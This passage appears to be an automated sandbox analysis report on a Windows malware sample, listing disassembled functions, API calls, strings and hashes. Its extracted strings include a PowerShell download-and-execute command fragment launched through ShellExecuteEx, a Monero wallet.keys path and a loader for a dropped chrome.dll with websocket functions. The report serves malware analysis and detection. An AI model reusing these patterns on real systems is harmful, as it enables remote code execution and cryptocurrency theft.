lstrlen.KERNEL32(00000000), ref: 0011DAB3
DeleteFileA.KERNEL32(00000000), ref: 0011DB32

Strings

X, xrefs: 0011D9E7

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID: X
API String ID: 211194620-1677210272
Opcode ID: fc84354bfa32075c28bd044dd6893313cfaa118addc5ad9454835e93066403e9
Instruction ID: 9b1b7101a657340e6b5d238606df15409a8ee4b377df7a63bd0d4bc6f891a77c
Opcode Fuzzy Hash: fc84354bfa32075c28bd044dd6893313cfaa118addc5ad9454835e93066403e9
Instruction Fuzzy Hash: BC81F7729101189BCB15FBA4EDA6DEE733DAF64300F804558F51677091EF307A68CB62

Function 00122EE0 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 0012AA50: lstrcpy.KERNEL32(00130E1A,00000000), ref: 0012AA98

Part of subcall function 0012ACC0: lstrlen.KERNEL32(?,00E39450,?,\Monero\wallet.keys,00130E1A), ref: 0012ACD5
Part of subcall function 0012ACC0: lstrcpy.KERNEL32(00000000), ref: 0012AD14
Part of subcall function 0012ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 0012AD22

Part of subcall function 0012AC30: lstrcpy.KERNEL32(00000000,?), ref: 0012AC82
Part of subcall function 0012AC30: lstrcat.KERNEL32(00000000), ref: 0012AC92

Part of subcall function 0012ABB0: lstrcpy.KERNEL32(?,00130E1A), ref: 0012AC15

ShellExecuteEx.SHELL32(0000003C), ref: 00122FD5

Strings

-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00122F14
')", xrefs: 00122F03
<, xrefs: 00122F89
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00122F54

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: 828f5e9ef5e69c1dcc69ee4aaceaa229b586866de0f6233e15c59bcc14624ec0
Instruction ID: ca5a4a47daa24b87dea1da6a40488a793cd72859fa095c80b305b660e73a8961
Opcode Fuzzy Hash: 828f5e9ef5e69c1dcc69ee4aaceaa229b586866de0f6233e15c59bcc14624ec0
Instruction Fuzzy Hash: 2241ED71D102289BDB14EFA0E8A2BEDB779AF24300F804559F11677192EF742A59CF51

Function 0018CBE2 Relevance: 7.6, APIs: 5, Instructions: 87COMMONLIBRARYCODE

Download Yara Rule

APIs

dllmain_raw.LIBCMT ref: 0018CC1F
dllmain_crt_dispatch.LIBCMT ref: 0018CC36
dllmain_raw.LIBCMT ref: 0018CC7E
dllmain_crt_dispatch.LIBCMT ref: 0018CC91
dllmain_raw.LIBCMT ref: 0018CCA4

Memory Dump Source

Source File: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: dllmain_raw$dllmain_crt_dispatch
String ID:
API String ID: 3136044242-0
Opcode ID: 234a4587e1df5c0bc1ce5882952f099010f88dbe2dfa5d5717c242a90a4fec11
Instruction ID: 77a38214509637941a9ca8ac3328bd6d7e7c24535d754cda2e7afea8894516f9
Opcode Fuzzy Hash: 234a4587e1df5c0bc1ce5882952f099010f88dbe2dfa5d5717c242a90a4fec11
Instruction Fuzzy Hash: 60219D72D00628AFDB21BF69CC41A6F7A79EB91BA4F064119F909A7211C3308F418FF0

Function 00126BC0 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 00126C0C
sscanf.NTDLL ref: 00126C39
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00126C52
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00126C60
ExitProcess.KERNEL32 ref: 00126C7A

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: cca95a9a1834adcb9d757ebf4805bc34392410ec207f91fa56cd0f13f68467a1
Instruction ID: ff8e92cac5060a2e065565512deae47e43a271adbdc9b4fae50d5d707f319eab
Opcode Fuzzy Hash: cca95a9a1834adcb9d757ebf4805bc34392410ec207f91fa56cd0f13f68467a1
Instruction Fuzzy Hash: E821ED75D0425C9BCF15EFE4E9459EEB7B9BF48300F048629E506B7290EB349614CB64

Function 001293F0 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(00E3F710,00000000,00000000,?,00119F71,00000000,00E3F710,00000000), ref: 001293FC
lstrcpyn.KERNEL32(003E7580,00E3F710,00E3F710,?,00119F71,00000000,00E3F710), ref: 00129420
lstrlen.KERNEL32(00000000,?,00119F71,00000000,00E3F710), ref: 00129437
wsprintfA.USER32 ref: 00129457

Strings

%s%s, xrefs: 00129445

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: ef1107a821a6a6da801f14a989fa9db5bf4543a5f6ee25f04e378036e9bc3e9a
Instruction ID: bf57650dd31d6b6339056e393fe2a70d9102eae56f5b9c71af08678e9dfcafe9
Opcode Fuzzy Hash: ef1107a821a6a6da801f14a989fa9db5bf4543a5f6ee25f04e378036e9bc3e9a
Instruction Fuzzy Hash: 52011E7650424CFFDB05DFA8D994EEE7B78EB48304F108258F9099B280D731AA50DB90

Function 001112A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 001112B4
RtlAllocateHeap.NTDLL(00000000), ref: 001112BB
RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 001112D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 001112F5
RegCloseKey.ADVAPI32(?), ref: 001112FF

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 14f5c19ece4095b209725f62aad22c7b396a4b8bb6b8be0dfeba2391920aea50
Instruction ID: 014acc766eb5fe613f6b17f679e29251bbb2837cc8494d8a6714fb4190103e70
Opcode Fuzzy Hash: 14f5c19ece4095b209725f62aad22c7b396a4b8bb6b8be0dfeba2391920aea50
Instruction Fuzzy Hash: 5301CD79A44309BBDB14DFD4DC89FAEB77CAB48701F104699FB059B2C0D770AA408B90

Function 0012CB7E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtGetStringTypeA.LIBCMT ref: 0012CC1C
___crtLCMapStringA.LIBCMT ref: 0012CC3C
___crtLCMapStringA.LIBCMT ref: 0012CC61

Strings

, xrefs: 0012CBC6

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Type
String ID:
API String ID: 2109742289-3916222277
Opcode ID: f6e1f0b8e6236b9c5be82db6efa2ff3b65369c14ebabdb35c1c0bc480e60319b
Instruction ID: c78a94a7e382e4af198d9901be4618d8fb76bc7b98d5f61353ad0bfbefb23cf2
Opcode Fuzzy Hash: f6e1f0b8e6236b9c5be82db6efa2ff3b65369c14ebabdb35c1c0bc480e60319b
Instruction Fuzzy Hash: A341F5B01007AC5FDB218B24EC85FFB7BE89B45704F1444A8EA8A96182D3719A649FA0

Function 0011A7D0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(00E39100,003E7D88,0000FFFF), ref: 0011A7ED
LoadLibraryA.KERNEL32(00E26298), ref: 0011A876

Part of subcall function 0012AA50: lstrcpy.KERNEL32(00130E1A,00000000), ref: 0012AA98

Part of subcall function 0012AB30: lstrlen.KERNEL32(00114F55,?,?,00114F55,00130DDF), ref: 0012AB3B
Part of subcall function 0012AB30: lstrcpy.KERNEL32(00130DDF,00000000), ref: 0012AB95

Part of subcall function 0012ACC0: lstrlen.KERNEL32(?,00E39450,?,\Monero\wallet.keys,00130E1A), ref: 0012ACD5
Part of subcall function 0012ACC0: lstrcpy.KERNEL32(00000000), ref: 0012AD14
Part of subcall function 0012ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 0012AD22

Part of subcall function 0012AC30: lstrcpy.KERNEL32(00000000,?), ref: 0012AC82
Part of subcall function 0012AC30: lstrcat.KERNEL32(00000000), ref: 0012AC92

Part of subcall function 0012ABB0: lstrcpy.KERNEL32(?,00130E1A), ref: 0012AC15

SetEnvironmentVariableA.KERNEL32(00E39100,00000000,00000000,?,0013137C,?,?,003E7D88,00130B0A), ref: 0011A862

Strings

, xrefs: 0011A8F8

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID:
API String ID: 2929475105-2740779761
Opcode ID: 15561a40c159f78e5706a811f3cd8ba4c3fdf467b63fef59105888a180e03fc1
Instruction ID: b27162b6e368cfbde6d57781694ae2218a51ab411221fbfab30e486b2a7b936e
Opcode Fuzzy Hash: 15561a40c159f78e5706a811f3cd8ba4c3fdf467b63fef59105888a180e03fc1
Instruction Fuzzy Hash: 38411F719142449FC72AEBA4FC96BEE37B9BF18305F404628F505AB2E1E7305D98CB61

Function 001268D0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00126903

Part of subcall function 0012AA50: lstrcpy.KERNEL32(00130E1A,00000000), ref: 0012AA98

Part of subcall function 0012ACC0: lstrlen.KERNEL32(?,00E39450,?,\Monero\wallet.keys,00130E1A), ref: 0012ACD5
Part of subcall function 0012ACC0: lstrcpy.KERNEL32(00000000), ref: 0012AD14
Part of subcall function 0012ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 0012AD22

Part of subcall function 0012ABB0: lstrcpy.KERNEL32(?,00130E1A), ref: 0012AC15

ShellExecuteEx.SHELL32(0000003C), ref: 001269C6
ExitProcess.KERNEL32 ref: 001269F5

Strings

<, xrefs: 00126979

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: a006dd08f1cdb64f299d729772a86a22f3c5b6596bea84a87573896b346a6263
Instruction ID: 697cc5b8d7cdd7cc56889b6cea29849496478af442c77922bd11126b2b9f9ae3
Opcode Fuzzy Hash: a006dd08f1cdb64f299d729772a86a22f3c5b6596bea84a87573896b346a6263
Instruction Fuzzy Hash: DD312AB1901228ABDB15EB90ED92FDEB77CAF68300F804189F20576191DF706B58CF69

Function 00128950 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00130E10,00000000,?), ref: 001289BF
RtlAllocateHeap.NTDLL(00000000), ref: 001289C6
wsprintfA.USER32 ref: 001289E0

Part of subcall function 0012AA50: lstrcpy.KERNEL32(00130E1A,00000000), ref: 0012AA98

Strings

%dx%d, xrefs: 001289D7

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: 73828a05f65f246205d55ac878d0ca24d8fd8002903b15eb4a1d6c94710fc502
Instruction ID: 173d48467841460e866e6ce3d8dbfa8a68942d0fc53823664b2594fcc7478e8c
Opcode Fuzzy Hash: 73828a05f65f246205d55ac878d0ca24d8fd8002903b15eb4a1d6c94710fc502
Instruction Fuzzy Hash: 85213DB1A44248EFDB14DF94DD85FAEBBB8FB48711F104619FA15AB2C0C775A9008BA0

Function 0011A090 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 34libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(C:\ProgramData\chrome.dll), ref: 0011A098

Strings

free_result, xrefs: 0011A0C9
connect_to_websocket, xrefs: 0011A0B3
C:\ProgramData\chrome.dll, xrefs: 0011A093

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
